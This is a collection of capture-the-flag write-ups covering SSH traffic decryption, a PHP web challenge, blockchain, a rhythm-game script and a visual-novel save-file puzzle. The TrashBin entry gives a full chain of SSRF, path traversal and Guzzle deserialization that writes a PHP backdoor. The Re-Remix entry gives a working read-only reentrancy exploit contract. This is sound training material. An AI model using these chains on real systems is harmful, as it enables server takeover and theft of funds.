text_chunk
stringlengths 151
703k
|
---|
# TCP1P 2023 CTF - Reminiscence (Misc)
> 500 points (1 solve)\> Author: lunaroa> > We've detected unusual network traffic within our network. Upon inspection, it turns out that a malicious actor gained access to one of our staff's credentials and logged into the server. Could you analyze what actually occurred?>> Solution: unx, fkania2\> Writeup: unx
## ReconnaissanceWe are given a netcat command. The remote server asks for answers regarding the incident. There is also a zip containing pcap file.
## Questions
### Q1: What TCP protocol/service is captured in the network packet? Please enter the port as well. Format: ftp:1337Opening the pcap in Wireshark, clicking the first packet, and following its TCP stream shows it's an SSH communication. The server port is `23425`

### Q2: What is the SSH version that could be affected by a security bug? Is it a client or server? Format: OpenSSH_6.9_serverTrying both the versions visible in pcap was enough: `OpenSSH_4.3_client`

### Q3: How many SSH/SFTP sessions occurred during the incident? Also, how many successfully executed commands were there during the last session? Format: 1_3
At this point, we know decrypting the SSH traffic was necessary. Given the challenge name and vulnerable OpenSSH version, it must be some ancient vulnerability. Also since it's on the client side, it's most likely a weak encryption vulnerability. Searching Google for some older articles, we found [this one](https://www.cr0.org/progs/sshfun/) describing a vulnerability in debian's OpenSSL, which generated weak keys easy to bruteforce.
#### Used toolsTwo tools had to be launched: [ssh-kex-keygen](https://github.com/trou/ssh_kex_keygen/blob/master/README) written in C which brute-forced the keys, and [ssh_decoder](https://github.com/jjyg/ssh_decoder) which decrypted ssh traffic from raw TCP dumps.
##### ssh-kex-keygenssh-kex-keygen is written around specific, vulnerable OpenSSL version: 0.9.8. Fortunately all the libraries required for compilation are embedded in the repository, so we only had to modify the command from Makefile to include these libraries, use given linker and cross-compile for 32bit.\`gcc -W -o keygen main.c -I$PWD/openssl-0.9.8e/openssl-0.9.8e/include -L$PWD/ubuntu-7.04-x86-patched -l:libssl.so.0.9.8 -l:libcrypto.so.0.9.8 -l:libdl.so.2 -l:libc.so.6 -l:libz.so.1 -l:libcrypt.so.1 -Wl,ubuntu-7.04-x86-patched/ld-linux.so.2 -m32`
##### ssh_decoderssh_decoder is a ruby helper for ssh-kex-keygen, which handles extracting the right values from ssh traffic, providing them to ssh-kex-keygen, and then decrypting the ssh traffic. One modification had to be made in it to work on recent ruby version. `allhex` getter defined on String was returning an array instead of a hex string in some cases, which confused ssh-kex-keygen. All we had to do was to add `.first` to all affected arguments, for example: `'G' => groupinfo[:g].allhex` to `'G' => groupinfo[:g].allhex.first`
#### Decrypting traffic (finally)Now, it was as simple as following ssh_decoder readme:```How to use :- get a capture (PCAP)- use tcpick -wRC -wRS session.pcap - ruby ssh_decoder.rb *.dat- ???- profit.```
tcpick showed us the first answer: `4 tcp sessions detected`. The second answer could be found by analyzing the last session file from server side.

Final answer: 4_8
### Q4: What is the name of the malicious script uploaded during the SFTP session?The file along with its name is available in one of the decrypted session files: `y6V71q8PnAdxCmEaDGtsrSwRcMbhl9UIBiXfJ23v_eo504TuWkFONjzLHpYKQgZ`. In the last session we can see that `.pyc` extension was appended to it, and then executed: we'll need that later.
### Q5: What are the username and password used by the malicious actor? Format: username_passwordThese are presented to us by ssh_decoder:```{:username=>"pi", :nextservice=>"ssh-connection", :auth_method=>"password", :change=>0, :password=>"MYQRqNHZ51"}```
### Q6: Could you tell me the name of the file affected by the malicious script?We didn't want to analyze the .pyc script yet, so we tried every file visible in ssh sessions.

`/tmp/message` was the answer.
### Q7: What was the content of the message file before it was encrypted?Now the python script had to be analyzed.#### DecompilingWe can see that it's executed using python2 on the server, so we used [uncompyle6](https://pypi.org/project/uncompyle6/) for .pyc decompilation. When I saw the code, i wanted to scream.```python# uncompyle6 version 3.9.0# Python bytecode version base 2.7 (62211)# Decompiled from: Python 2.7.18 (default, Feb 18 2023, 11:16:16) # [GCC 12.2.1 20230201]# Embedded file name: y6V71q8PnAdxCmEaDGtsrSwRcMbhl9UIBiXfJ23v_eo504TuWkFONjzLHpYKQgZ.py# Compiled at: 2023-10-13 05:03:15(lambda _a=dir, _b=getattr, _c=globals, _d=type: (lambda _e=_d([]), _f=_d(()), _g=_d({}): (lambda _h=_c()[_e(_c())[_a == _b]]: (lambda _i=_c()[_e(_c())[_a == _b]], _ww=_a.__doc__, _yy=_a == _b, _xx=_a == _a: (lambda _j=_b(_i, _ww[(~_xx * ~_xx) ** (~_xx * ~_xx) + ~_xx * ~_xx * ~_xx * ~_xx + -~_xx * ~_xx * ~_xx - _xx] + _ww[(~_xx * ~_xx) ** (~_xx * ~_xx) + ~_xx * ~_xx * ~_xx * ~_xx + -~_xx * ~_xx * ~_xx - _xx] + _ww[_xx] + _ww[59] + _ww[100] + _ww[5] + _ww[-~_xx] + _ww[10] + _ww[(~_xx * ~_xx) ** (~_xx * ~_xx) + ~_xx * ~_xx * ~_xx * ~_xx + -~_xx * ~_xx * ~_xx - _xx] + _ww[(~_xx * ~_xx) ** (~_xx * ~_xx) + ~_xx * ~_xx * ~_xx * ~_xx + -~_xx * ~_xx * ~_xx - _xx]): (lambda _zz=_b(_j(_ww[19] + _ww[461] + _ww[19]), _ww[38] + _ww[-~_xx] + _ww[30] + _ww[192])[_yy]: (lambda _k=_j(_zz[44] + _zz[21]), _l=_j(_zz[14] + _zz[22] + _zz[-~_xx] + _zz[59] + _zz[20] + _zz[44] + chr(46) + _zz[14] + _zz[35] + _zz[59] + _zz[29] + _zz[43] + _zz[22] + chr(46) + _zz[11] + _zz[16] + _zz[23]), _m=_j(_zz[14] + _zz[22] + _zz[-~_xx] + _zz[59] + _zz[20] + _zz[44] + chr(46) + _zz[32] + _zz[20] + _zz[35] + _zz[30] + chr(46) + _zz[9] + _zz[17] + _zz[12] + _zz[12] + _zz[35] + _zz[10] + _zz[63]), _n=_j(_zz[56] + _zz[30] + _zz[35] + _zz[28]), _o=_j(_zz[63] + _zz[30] + _zz[44] + _zz[28]), _p=_j(_zz[35] + _zz[44]), _q=_j(_zz[28] + _zz[17] + _zz[21] + _zz[43] + _zz[3] + _zz[47]): (lambda _r=_b(_o, _zz[63] + _zz[30] + _zz[44] + _zz[28])(_zz[15] + _zz[43] + _zz[21] + _zz[21] + _zz[17] + _zz[63] + _zz[43]), _s=_b(_k, _zz[49] + _zz[22] + _zz[17] + _zz[10] + _zz[12] + _zz[44] + _zz[15]), _t=_b(_p, _zz[44] + _zz[59] + _zz[43] + _zz[10]), _u=_b(_q, _zz[28] + _zz[3] + _zz[47] + _zz[43] + _zz[10] + _zz[26] + _zz[44] + _zz[12] + _zz[43]): (lambda _v=lambda _w, _x, _y: _b(_b(_b(_b(_l, _zz[14] + _zz[35] + _zz[59] + _zz[29] + _zz[43] + _zz[22]), _zz[11] + _zz[16] + _zz[23]), _zz[10] + _zz[43] + _zz[24])(_w, -~_xx, _y), _zz[43] + _zz[10] + _zz[26] + _zz[22] + _zz[-~_xx] + _zz[59] + _zz[20])(_b(_b(_b(_m, _zz[32] + _zz[20] + _zz[35] + _zz[30]), _zz[9] + _zz[17] + _zz[12] + _zz[12] + _zz[35] + _zz[10] + _zz[63]), _zz[59] + _zz[17] + _zz[12])(_x, ~_xx * ~_xx * ~_xx * ~_xx)) + _w + _y: (lambda _z=_b(_i, _zz[15] + _zz[17] + _zz[59]), _aa=_b(_i, _zz[22] + _zz[17] + _zz[10] + _zz[63] + _zz[43]), _ab=_b(_i, _zz[22] + _zz[43] + _zz[12] + _zz[49] + _zz[26] + _zz[43]), _ac=_b(_i, _zz[26] + _zz[29] + _zz[22]), _ad=_b(_i, _zz[30] + _zz[35] + _zz[21] + _zz[20]), _ae=_b(_i, _zz[30] + _zz[43] + _zz[10]): (lambda _af=lambda _ag: _ab((lambda _ah, _ai: _ah + [_ag[_ai:_ai + ~_xx * ~_xx * ~_xx * ~_xx]]), _aa(_yy, len(_ag), ~_xx * ~_xx * ~_xx * ~_xx), []): (lambda _aj=_af(_b(_n, _zz[26] + _zz[44] + _zz[15] + _zz[59] + _zz[22] + _zz[43] + _zz[21] + _zz[21])(_u(_b(_t(_r[_yy], _zz[22] + _zz[28]), _zz[22] + _zz[43] + _zz[17] + _zz[12])()))): _b(_i, _zz[59] + _zz[22] + _zz[35] + _zz[10] + _zz[20])(_u(_b(_b(_i, _zz[21] + _zz[20] + _zz[22])(), _zz[55] + _zz[44] + _zz[35] + _zz[10])(_z((lambda _ak: _v(_s(~_xx * ~_xx * ~_xx * ~_xx), _ak, _s(~_xx * ~_xx * ~_xx * ~_xx))), _aj)))))())())())())())())())())())())())()```Huge lambda statement. Using deobfuscators was probably pointless, so I began to analyze it manually.#### Deobsfucation (kind of) and analysisThe most helpful step was to discover all the used strings.- `_ww[x]` is `dir.__doc__[x]`,- after replacing all `_ww` strings, we can see that `_zz[x]` is `sys.argv[1]`, name of the file.
Further *very* manual deobfuscation (removing nested lambdas, naming variables) led us to the following script flow:- find the file with `message` in its path,- base64 encode and zlib compress the contents,- split into 16byte chunks,- encrypt it using AES:```pythonlambda key, data, iv: aes.cipher.AES.new(key, 2, iv).encrypt( padding.Util.Padding.pad(data, 16)) + key + iv:```- every chunk was now: [32]data (because of padding) + [16]key + [16]iv- join the chunks, base64 it again, and print it out to console
#### Reversing encryptionThe encryption keys were in the output along with encrypted data, so decryption was trivial.Output used here was present in the last decoded session file.```pythonfrom Crypto.Cipher import AESfrom Crypto.Util import Paddingimport zlibimport base64
def decrypt_data(data): key = data[-32:-16] iv = data[-16:]
cipher = AES.new(key, AES.MODE_CBC, iv) decrypted_data = cipher.decrypt(data[:-32]) unpadded_data = Padding.unpad(decrypted_data, 16) return unpadded_data
def main(): encrypted_data = base64.b64decode("<output from session>") encrypted_chunks = [encrypted_data[i:i+64] for i in range(0, len(encrypted_data) - 32, 64)] decrypted_chunks = [decrypt_data(chunk) for chunk in encrypted_chunks] decompressed_data = zlib.decompress(b"".join(decrypted_chunks)) original_data = base64.b64decode(decompressed_data)
print(original_data)
if __name__ == "__main__": main()```
This outputs the PNG file which contains this QR code:

Decoding reveals us the answer: `is_this_truly_confidential`
## Following all the answers, the flag was revealed:

At the end, ours was the only one solution :D |
# TeamItaly CTF 2023
## [web] TrashBin (0 solves)
## Overview
TrashBin is a request bin ~~clone~~ alternative, useful to log HTTP requests and respond with custom data.
As it's made quite obvious by the `/readflag` binary, our final goal is to reach RCE. Achieving that is not super straight-forward. TL;DR: SSRF + path traversal + object deserialization.
### `X-Accel-Redirect`
The first step we need is getting SSRF in order to make arbitrary requests to the `/internal/` endpoints blocked by the nginx configuration. Why we need SSRF will become clearer later.
SSRF can be done by exploiting some less-known nginx featured, called `X-Accel`.TL;DR, from the docs: "[X-accel allows for internal redirection to a location determined by a header returned from a backend](https://www.nginx.com/resources/wiki/start/topics/examples/x-accel/)". Basically it's a feature that can be used for authentication, but what we are interested in is that it can be used to do SSRF and access endpoints defined as `internal`.
Since TrashBin allows us to respond with custom headers to each request, we can define a `X-Accel-Redirect` header that points to the PHP files inside the `/internal/` directory.
Now what?
### Corrupting the session
PHP sessions are stored in temp files as serialized PHP objects. The `rotate_logs.php` file reads and writes log files, but doesn't really validate their content. We can exploit the not-so-precise regex used to extract `$__BIN_ID` to achieve path traversal. For example, we can make a request to `/internal/rotate_logs.php?id=/b/../../../../../tmp/sess_PHPSESSID` to start fiddling around with session files.
We can create an account with a username using the following format:
```****PAYLOAD****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a```
This will be saved in the session file as something like this:
```id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";username|s:106:"****PAYLOAD****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a"```
When `rotate_logs.php` is executed on this file, it will identify 21 log entries and remove the first one, leaving us with something like
```PAYLOAD****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a"```
If we carefully craft our username, we can exploit the deserialization gadget offered by the `GuzzleHttp` library[^1] in order to get arbitrary file write and install a PHP backdoor on the server:
```pythonrequests.post(f'{URL}', data={ 'username': b'****id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";pwn|O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{s:36:"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:33:"\x00GuzzleHttp\\Cookie\\SetCookie\x00data";a:10:{s:4:"Name";s:6:"custom";s:5:"Value";s:3:"asd";s:6:"Domain";s:11:"example.com";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";N;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;s:6:"custom";s:34:"";}}}s:39:"\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode";b:0;s:41:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename";s:35:"/app/trashbin/src/data/backdoor.php";s:52:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies";b:1;};username|s:95:"****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a'})```
At this point we only need to use the SSRF vulnerability and chain everything together.
[^1]: GuzzleHttp defines a class called `FileCookieJar` that, on destruction, saves all the cookies in the jar in a file on disk. You can define the file location as well as the cookies, so you can inject PHP code anywhere you want. Understanding how to generate the payload is left as an exercise to the reader :)
### Full exploit
Here is the full automated python exploit:
```pythonsession1 = requests.Session()session2 = requests.Session()
backdoor_name = ''.join(random.choices(string.ascii_letters, k=32)) + '.php'
# Register attack usersession1.post(f'{URL}', data={ 'username': b'****id|s:36:"c6c6742d-3616-4bd1-9340-44eae65eb08b";pwn|O:31:"GuzzleHttp\\Cookie\\FileCookieJar":4:{s:36:"\x00GuzzleHttp\\Cookie\\CookieJar\x00cookies";a:1:{i:0;O:27:"GuzzleHttp\\Cookie\\SetCookie":1:{s:33:"\x00GuzzleHttp\\Cookie\\SetCookie\x00data";a:10:{s:4:"Name";s:6:"custom";s:5:"Value";s:3:"asd";s:6:"Domain";s:11:"example.com";s:4:"Path";s:1:"/";s:7:"Max-Age";N;s:7:"Expires";N;s:6:"Secure";b:0;s:7:"Discard";b:0;s:8:"HttpOnly";b:0;s:6:"custom";s:34:"";}}}s:39:"\x00GuzzleHttp\\Cookie\\CookieJar\x00strictMode";b:0;s:41:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00filename";s:' + str(23 + len(backdoor_name)).encode() + b':"/app/trashbin/src/data/' + backdoor_name.encode() + b'";s:52:"\x00GuzzleHttp\\Cookie\\FileCookieJar\x00storeSessionCookies";b:1;};username|s:95:"****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a****a'})
# Register helper userres = session2.post(f'{URL}', data={ 'username': 'pianka'})
# Set response headerssession2.post(res.url, data={ 'response': 'Thank you for your trash!', 'headers': json.dumps({ 'X-Accel-Redirect': f'/internal/rotate_logs.php?id=/b/../../../../../tmp/sess_{session1.cookies["PHPSESSID"]}' })})
# SSRFsession2.get(res.url.replace('/m/', '/b/'))
# Install backdoorsession1.get(URL)
# RCEres = session1.get(f'{URL}/data/{backdoor_name}?command=/readflag')print(res.text)``` |
# SunshineCTF 2023
## DDR
>All the cool robots are playing Digital Dance Robots, a new rythmn game that... has absolutely no sound! Robots are just that good at these games... until they crash because they can't count to 256. Can you beat the high score and earn a prize?> > Author: N/A>
Tags: _scripting_
## SolutionFor this challenge we get a service we can netcat to. If we do so we get
```bash$ nc chal.2023.sunshinectf.games 23200Welcome to DIGITAL DANCE ROBOTS!
-- INSTRUCTIONS -- Use the WASD keys to input the arrow that shows up on screen. If you beat the high score of 255, you win a FLAG!
-- Press ENTER To Start --
⇩⇧⇦⇩⇨⇦⇩⇧⇦⇨⇦⇧⇨⇦⇦⇦⇩⇨⇨⇩⇨⇩⇦⇧⇦⇩⇨⇩⇧⇨⇧⇧⇦⇨⇨⇦⇦⇩⇨⇧⇨⇨⇧⇨⇨⇨⇩⇦⇩⇩You lose... better luck next time!Score: 1```
The timeout is way to short so we can manually translate the arrows to `wasd`, but we can do it with an script. And sure enough, after a while we get the flag.
```pythonfrom pwn import *
p = remote("chal.2023.sunshinectf.games", 23200)
p.recvuntil(b"ENTER")p.sendline(b"")p.recvline()p.recvline()for i in range(0, 256): print(i) foo = p.recvline().decode("utf-8") bar = b"" for x in foo: if x == "⇧": bar += b"w" if x == "⇦": bar += b"a" if x == "⇩": bar += b"s" if x == "⇨": bar += b"d" p.sendline(bar)
p.interactive()```
Flag `sun{d0_r0b0t5_kn0w_h0w_t0_d4nc3}` |
# TeamItalyCTF 2023
## [rev] Safe Image Storage (6 solves)
## Solution
The website allows you to request encrypted images via a custom protocol. The encryption is performed with a server keyand a client key, the server encrypts using a combination of both keys and returns the encrypted data which is thendecrypted by the browser for displaying. Knowing the server key makes it possible to view all images.
The request is composed as follows (all big endian):
- 4 bytes of magic: `devg`- 1 byte of options- 16 bytes client key- 2 bytes filename length- Filename- 4 bytes of crc32
The trick is in the options byte: the default cipher used is AES-CBC (0), but it can be changed to AES-CTR (1),AES-CFB (2) or AES-ECB (3). Since only the pixels part of the image is ciphered (not the metadata), it is possible toread the flag ciphered with AES-ECB. |
# Sekai CTF 2023 - [Blockchain] Re-Remix [9 solves / 493 points]
### Description```Hmm, it seems a bit difficult for this song to make a high-level chart uwu
How about using a remixed version instead? ✪v✪
Author: Y4nhu1```
Our goal is to make level >= 30, we can do that by controlling the value of `sampleEditor.region_tempo()` and `equalizer.getGlobalInfo()`
```solidity function getSongLevel() public view returns (uint256) { return convert(ud(sampleEditor.region_tempo() * 1e18).log2()) * _getComplexity(equalizer.getGlobalInfo()); // log2(tempo) * complexity }
function finish() external { uint256 level = getSongLevel(); if (level < 30) revert TooEasy(level); emit FlagCaptured(); }```
For `equalizer.getGlobalInfo()`, it wil get the complexity of it :
```solidity function _getComplexity(uint256 n) internal pure returns (uint256 c) { bytes memory s = bytes(Strings.toString(n)); bool[] memory v = new bool[](10); for (uint i; i < s.length; ++i) { v[uint8(s[i]) - 48] = true; } for (uint i; i < 10; ++i) { if (v[i]) ++c; } }```
It just check how many different digits it has, the initial value is `1000000000000000000` which has only 1 and 0, so it returns 2
Equalizer is just the curve stable swap amm with functions renamed, and `getGlobalInfo()` is `getVirtualPrice()` which can be manipulated easily with the read only reentrancy in `remove_liquidity()` which is renamed to `decreaseVolume()`
https://chainsecurity.com/curve-lp-oracle-manipulation-post-mortem/
For `sampleEditor.region_tempo()`, the initial value is 60
```solidity function setTempo(uint256 _tempo) external { if (_tempo > 233) revert OvO(); project_tempo = _tempo; }
function adjust() external { if (!tracks["Rhythmic"][2].settings.flexOn) revert QaQ(); region_tempo = project_tempo; }
function updateSettings(uint256 p, uint256 v) external { if (p <= 39) revert OvO(); assembly { sstore(p, v) } }```
We can increase it up to 233, by first settnig `project_tempo` to 233, then set `tracks["Rhythmic"][2].settings.flexOn` to true by calling `updateSettings()` to the correct storage slot, then call `adjust()`
We can calculate the storage slot for the Region struct in `tracks["Rhythmic"][0]` with this :``` » keccak256(abi.encodePacked(keccak256(abi.encodePacked("Rhythmic", uint256(2)))))0x5ebfdad7f664a9716d511eafb9e88c2801a4ff53a3c9c8135d4439fb346b50bb```
Then just see how the struct is packed
```solidity enum Align { None, Bars, BarsAndBeats }
struct Settings { Align align; bool flexOn; }
struct Region { Settings settings; bytes data; }```
So, we can just set the storage slot of `0x5ebfdad7f664a9716d511eafb9e88c2801a4ff53a3c9c8135d4439fb346b50bb + 4` to the maximum value, and `tracks["Rhythmic"][2].settings.flexOn` will be true
The Equalizer is a curve stable swap amm with 3 tokens : native ETH, INST and VOCAL, and it has 100 ether of all 3 tokens initially
There's a function in MusicRemixer that mint 1 ether of INST and VOCAL tokens for us :
```solidity function getMaterial(bytes memory redemptionCode) external { if (usedRedemptionCode[redemptionCode]) revert CodeRedeemed(); bytes32 hash = ECDSA.toEthSignedMessageHash(abi.encodePacked("Music Remixer Pro Material")); if (ECDSA.recover(hash, redemptionCode) != SIGNER) revert InvalidCode(); usedRedemptionCode[redemptionCode] = true;
FreqBand(equalizer.bands(1)).mint(msg.sender, 1 ether); FreqBand(equalizer.bands(2)).mint(msg.sender, 1 ether); }```
But we need a valid signature from this signer :
```solidity address constant private SIGNER = 0x886A1C4798d270902E490b488C4431F8870bCDE3;```
In the constructor, it set this invalid signature as used :
```solidity uint8 v = 28; bytes32 r = hex"1337C0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DE1337"; bytes32 s = hex"1337C0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DEC0DE1337"; usedRedemptionCode[abi.encodePacked(r, s, v)] = true;```
If, we try to do ecrecover with this invalid signature, we will get the signer address
It is using the openzeppelin ECDSA library, which checks for signature malleability and signature length, so we can't bypass the signature check to mint tokens there
But we have 1 ether, and we can just swap it to those tokens in the Equalizer with the `equalize()` function which is just the swap function
Then we can just do the curve read only reentrancy
### Exploit contract :
```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.19;
import "../src/MusicRemixer.sol";
contract reremixExploit { MusicRemixer public musicRemixer; SampleEditor public sampleEditor; Equalizer public equalizer; FreqBand public inst; FreqBand public vocal;
constructor(address _musicRemixer) payable { require(msg.value == 0.5 ether, "not 0.5 ether"); musicRemixer = MusicRemixer(_musicRemixer); sampleEditor = musicRemixer.sampleEditor(); equalizer = musicRemixer.equalizer(); inst = FreqBand(equalizer.bands(1)); vocal = FreqBand(equalizer.bands(2)); }
function start() public { sampleEditor.setTempo(233); sampleEditor.updateSettings(0x5ebfdad7f664a9716d511eafb9e88c2801a4ff53a3c9c8135d4439fb346b50bb + 4, type(uint256).max); sampleEditor.adjust(); equalizer.equalize{value: 0.11 ether}(0, 1, 0.11 ether); equalizer.equalize{value: 0.11 ether}(0, 2, 0.11 ether); uint256[3] memory amounts = [uint(0.1 ether), uint(0.1 ether), uint(0.1 ether)]; inst.approve(address(equalizer), amounts[1]); vocal.approve(address(equalizer), amounts[2]); uint256 lpAmount = equalizer.increaseVolume{value: 0.1 ether}(amounts); equalizer.decreaseVolume(lpAmount); } receive() external payable { musicRemixer.finish(); }}```
### Foundry test :
```solidity// SPDX-License-Identifier: UNLICENSEDpragma solidity ^0.8.19;
import "forge-std/Test.sol";import "../src/MusicRemixer.sol";import "../src/Exploit.sol";
contract reremixTest is Test { MusicRemixer public musicRemixer; event FlagCaptured();
function setUp() public { musicRemixer = new MusicRemixer{value: 100 ether}(); }
function testExploitContract() public { reremixExploit exploit = new reremixExploit{value: 0.5 ether}(address(musicRemixer)); vm.expectEmit(false, false, false, false); emit FlagCaptured(); exploit.start(); }}```
```# forge test --match-path test/testContract.t.sol -vv[⠔] Compiling...No files changed, compilation skipped
Running 1 test for test/testContract.t.sol:reremixTest[PASS] testExploitContract() (gas: 807283)Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 5.26msRan 1 test suites: 1 tests passed, 0 failed, 0 skipped (1 total tests)```
Then we can just deploy and run it on the actual instance
```# forge create src/Exploit.sol:reremixExploit -r http://re-remix-web.chals.sekai.team/466bc2d6-b9d9-4476-bb21-03c32eee41c4 --private-key 0x026f98e50658ddbbbd422e4af9162d09258db3d0fbeb37fe042d29c33a6f5047 --constructor-args 0xE8f4f13814dB4e0A4789Ac42ca8fbfd0627bD2B0 --value 500000000000000000[⠒] Compiling...No files changed, compilation skippedDeployer: 0x43a7DDDdD656352f7d3e4F06296BC58Ee140F0ddDeployed to: 0xdCaDE2F1aB61DE7aAB29f148c6425e883B87a613Transaction hash: 0x8206f22c2a4cc663ae67bef96805e6d974616c793f4b69c6a4c0f1effab6ab10
# cast send 0xdCaDE2F1aB61DE7aAB29f148c6425e883B87a613 "start()" -r http://re-remix-web.chals.sekai.team/466bc2d6-b9d9-4476-bb21-03c32eee41c4 --private-key 0x026f98e50658ddbbbd422e4af9162d09258db3d0fbeb37fe042d29c33a6f5047```
```# nc chals.sekai.team 50001 - launch new instance2 - kill instance3 - get flagaction? 3uuid please: 466bc2d6-b9d9-4476-bb21-03c32eee41c4tx hash that emitted FlagCaptured event please: 0x2ca74fbc32394f2e04674217c4865ce2b416936c6945c6b70de30bfd153de3eb
Congratulations! <3SEKAI{T0o_H4rd_4_M3_2_p1aY_uwu_13ack_7o_Exp3rt_l3v3l}``` |
**Mama y Papa (10 Points)** Q) Alejandro has been seen as an easy mark for DEADFACE. Do a sweep of his social media to see what information DEADFACE was able to gather on Alejandro. Scroll through Alejandros Social media to find out the name of his father and mother. A) Just like the question stated. Using the form search engine for “Alejandro” got me to the post where they mentioned his last name: "Alejandro Rodriguez".Searching his name in Facebook, will bring his profile. However, in other social networks I couldn’t find him. While profiling, I found out he got a job with “Techno Global Industries.”It took a few seconds to identify the precise Google search term, but I eventually found him among the top results.```must:Alejandro.Rodriguez Techno.Global.industries```Dots (“.”) between words will help Google search engines understand that the words are connected.
Now, say hello to “Alejandro Ricardo Montoya de la Rosa Rodriguez” Linkedin page. I figured that the parents name are inside this long name and I was… wrong ?His full name helped me locate his Instagram account.
Further crawling in his social profiles got me to Instagram post where he congratulates his parents to their anniversary. Congratulations Carmelo & Delfina.[flag{Carmelo<3Delfina}](https://www.instagram.com/p/CszzgV9u25Y/) |
Title: Doki Doki Anticheat | hack.lu 2023Date: 2023-10-18 21:38Category: WriteupAuthors: florian0Tags: Jeopardy, Misc
> Challenge author: m0ezk> > Heyo stranger,> I really need ur help! My PC hasn't been working for the past few days and the only thing I'm left with are my> savefiles (I always have them on my USB-Stick, just in case). I need to know what's next in my favorite video game,> could you please load these savefiles and tell me the following dialogue, please, I can't wait any longer!>> Here's a link to the game, you can even run it easily on Linux: https://teamsalvato.itch.io/ddlc>> I don't know how to contact you, so just text me the dialogue as a flag, ok?> So if the dialogue says:"Sayori, what is up with you.." Then just send `flag{Sayori,_what_is_up_with_you..}`> I'd be really REALLY thankful if you'd do that!
The challenge features the game Doki Doki Literature Club. The task is simple. Load up the save game and paste thecontent of the next dialog.
We have never touched Doki Doki before. I in particular have no even seen it on YouTube or Twitch. What you get in thiswriteup is the full experience of starting a challenge with zero knowledge.

A quick online search reveals that the save games live in our user home folder. For linuxthat's `~/.renpy/DDLC-1454445547` (where `DDLC-1454445547` like a unique id of the game).
When we just run the game, it will create the folder for us, and place a `persistent` file in it. So that seems to belike a game config file of some kind.
When we save the game, it will create a .save file.
Placing the challenge files in this folder brings up the save game in the *Load Game* screen.

However loading the save game brings up the message "The save file could not be loaded. Are you trying to cheat?",followed by a monologue of a girl named "Monika" mocking us.

Fair enough. The game seems rather well known. There surely is a community for it and the anti cheat is should alreadybeen defeated, right?
A quick search for *Doki Doki Anticheat* brings up a couple of results. Even some people that got this screen, but nosolution. And no in-depth details, which was astounding. The closest we could find was:
https://icecrownserver.fandom.com/wiki/DDLC_Anticheat
This describes the anti cheat as following:
> The game stores a save-irrespective persistent anticheat value, and a save stores a separate anticheat variable. These> are compared to check for cheating. To ensure that a player doesn't accidentally trigger the anti-cheat event, save> files are deleted whenever the anticheat variable is updated.
## Dissecting the savegame
We concluded that this means one value is in the save game and one is in the persistent file. Not knowing any of theformats, we started looking for a save game editor. *Doki Doki Savegame Editor* resulted in nothing, but *Renpy SavegameEditor*gave a couple of online editors. Great! We used:
https://saveeditor.online/
The save game has a lot of values. Searching for *anticheat* will give two results:

At this point we assume that one anticheat value `420`.
> From reading other writeups, we now know that we could have unticked the box and anticheat would have been disabled.> We did not have that idea. Probably due to a mixture of anime school girl overflow and lack of sleep.
## Dissecting persistence data
We read through the [*Persistent Data* documentation of RenPy](https://www.renpy.org/doc/html/persistent.html), but itdid not reveal anything about the format of that file.
We found hints to a `UnRen.bat`, but we were lacking the Windows environment to run it and did not feel like messingwith wine.
In some gist I am now unable to find again, we found this snippet:
```bashpython -c "import zlib; open('persistent.pickle', 'wb').write(zlib.decompress(open('persistent', 'rb').read()))"```
This lead to us believing that it might be just a zlib compressed pickle file. And sure enough, it was. Usingpickletools on the decompressed file was a success.
```bashpython3 -m pickletools persistent.pickle | less```

The other anticheat value seems to be `1337`.
## Fixing the savegame
According to the Wiki Entry we found, these values need to be the same. We already have the save game open in a savegameeditor. Patching the save game sounds like the easiest way right now.

That's it. The flag is `flag{...There_is_no_way_I'm_going_to_your_club.}`. |
> Challenge author: pspaul>> Can you unravel the secret of> the [Soul Splitter](https://challenge.zip/soulsplitter_dfe9a6fd6693b213beacbcf771c7f7ba.zip)?
(I'm kinda curious how long that link will work. Plis notify me if it doesn't work anymore)
The challenge features a console app written in python. The app will give you 16 shards to recover a soul from. In orderto solve the challenge, you need to recover 20 souls in a row.
